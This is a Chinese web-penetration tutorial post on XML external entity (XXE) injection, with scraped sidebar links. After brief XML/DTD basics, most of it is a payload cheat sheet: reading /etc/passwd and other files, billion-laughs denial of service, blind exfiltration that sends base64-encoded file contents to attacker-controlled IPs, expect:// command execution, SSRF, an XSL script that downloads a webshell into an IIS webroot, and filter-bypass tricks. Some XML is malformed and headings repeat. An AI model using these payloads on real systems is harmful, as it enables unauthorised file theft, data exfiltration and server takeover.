当前位置:网站首页>WEB 渗透之XXE&XML
WEB 渗透之XXE&XML
2022-08-04 16:39:00 【weixin_53150482】
XXE&XML
1. 介绍
介绍: XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明,DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具,XXE 漏洞全称 XML External Entity Injection ,
即 XML 外部实体注入漏洞
,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害XML 和 HTML 差别
- XML 被设计为传输和存储数据,其焦点是数据的内容
- HTML 被设计用来显示数据,其焦点是数据的外观
- HTML 指在显示信息,而 XML 值在传输信息
<!--XML 声明--> <?xml version="1.0"?> <!--文档类型定义--> <!DOCTYPE note [ <!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)> <!--定义 note 元素有四个元素--> <!ELEMENT to (#PCDATA)> <!--定义 to 元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)> <!--定义 from 元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)> <!--定义 head 元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)> <!--定义 body 元素为”#PCDATA”类型--> ]]]> <!--文档元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
XML 元素介绍:
文档类型定义 (DTD) 可定义合法的 XML 文档构建模块,它使用一系列合法的元素来定义文档的结构
DTD 可被声明在 XML 文档中,也可以作为一个外部引用:内部的声明
<!DOCTYPE 根元素 [元素声明]>
外部文档的申明
<!DOCTYPE 根元素 SYSTEM ”文件名”>
DTD 实体:
内部实体声明
<!ENTITY 实体名称 ”实体的值”>
外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
参数实体声明
<!ENTITY %实体名称 ”实体的值”> <!ENTITY %实体名称 SYSTEM ”URI”>
2. 漏洞危害
3. 漏洞利用
1. 挖掘思路
如遇与xml交互的地方
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [ <!ENTITY test "this is test"> ]>
<root>&test;</root>
看是否输出
检查是否支持外部实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [ <!ENTITY % foo SYSTEM "http://attacker/evil.xml"> %foo; ]>
查看你的服务器是否有请求
JSON content-type XXE
修改Content-Type: application/xml
X-Requested-With: XMLHttpRequest
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<参数name>name</参数name>
<参数value>&xxe;</ 参数value>
</root>
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
<?xml version="1.0"?>
<!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<data>&file;</data>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
拒接服务攻击
<!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;"> ]> <data>&a2;</data>
若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。
读文件
<!-- 有回显 --> <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///d://test.txt"> ]> <x>&xxe;</x>
无回显:
先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt"> <!ENTITY % dtd SYSTEM "http://远程:8081/test.dtd"> %dtd; %send; ]>
在自己服务器上创建相应文件,使目标服务器访问自己服务器,从日志查看信息 test.dtd:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>" > %payload;
内网探针或攻击内网应用(触发漏洞地址)
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" > ]> <x>&rabbit;</x>
RCE 该 CASE 是在安装 expect 扩展的 PHP 环境中执行的
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://id" > ]> <x>&xxe;</x>
SSRF
<?xml version="1.0"?> <!DOCTYPE data SYSTEM "http://publicServer.com/" [ <!ELEMENT data (#ANY)> ]> <data>4</data
引入外部实体 dtd
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd"> %file; ]> <x>&send;</x> evil2.dtd: <!ENTITY send SYSTEM "file:///d:/test.txt">
协议–读文件
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]> <x>&f;</x>
XXE 写 shell:
当XXE支持XSL时 <?xml version='1.0'?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="C#" implements-prefix="user"> <![CDATA[ public string xml() { System.Net.WebClient webClient = new System.Net.WebClient(); webClient.DownloadFile("https://x.x.x.x/shell.txt", @"c:\inetpub\wwwroot\shell.aspx"); return "Exploit Success"; } ]]> </msxsl:script> <xsl:template match="/"> <xsl:value-of select="user:xml()"/> </xsl:template> </xsl:stylesheet>
4. 绕过姿势
ENTITY
system
file
等关键字被过滤使用编码方式绕过: UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
http 被过滤:
data:// 协议绕过
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a " <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'> "> %a; %b; ]> <test>&hhh;</test>
file:// 协议加文件上传
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> %a; ]> <!--上传文件--> <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>
php://filter 协议加文件上传
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> %a; ]> <test> &hhh; </test> <!--上传文件--> <!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> %a; ]> <test> &hhh; </test> <!--上传文件--> PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
5. 靶场
6. 参考文章
==
```
5. 靶场
6. 参考文章
边栏推荐
猜你喜欢
刷爆朋友圈!Alibaba出品亿级并发设计速成笔记太香了!
工龄10年的测试员从大厂“裸辞”后...
leetcode:743. 网络延迟时间【单源最短路 + dijkstra模板】
LeetCode·每日一题·1403.非递增顺序的最小子序列·贪心
“敏捷欺骗了开发人员”
平稳发展 | 西欧地区手游玩家的数据和洞察
屏幕分辨率兼容性
No server is required, teach you to get real-time health code recognition with only 30 lines of code
湖北移动中兴B860AV2.1_S905L_线刷固件包
Mobile zte ZXV10 B860AV2. 1 - A_S905L2_MT7668_ wire brush the firmware package
随机推荐
智慧场馆的无人值守怎么做?
MetaAI科学家解读最新模型:200+语言互译,扩充千倍翻译数据,全球元宇宙用户自由交流
SAP ABAP SteammPunk 蒸汽朋克的最新进展 - 嵌入式蒸汽朋克
SQL语言的分类以及数据库的导入
Taurus.MVC WebAPI 入门开发教程2:添加控制器输出Hello World。
15天升级打怪,成为虚拟时尚创作者
【JVM】JVM调优
No server is required, teach you to get real-time health code recognition with only 30 lines of code
2022-08-04日报:量化细胞内的信息流:机器学习时代下的研究进展
数据库内核面试中我不会的问题(2)
《分布式云最佳实践》分论坛,8月11日深圳见
码蹄集 - MT2094 - 回文之时:第4组数据错误
生产环境重大bug,update加上索引字段会走索引进行更新?还是走全表扫描
18 Data Collection Analysis
广东湛江海关破获3起走私冻海产品案 查证案值约1亿元
理财产品买入后份额是固定不变的吗?
地理标志农产品需双重保护
湖北移动中兴B860AV2.1_S905L_线刷固件包
不需要服务器,教你仅用30行代码搞定实时健康码识别
重新审视分布式系统:永远不会有完美的一致性方案……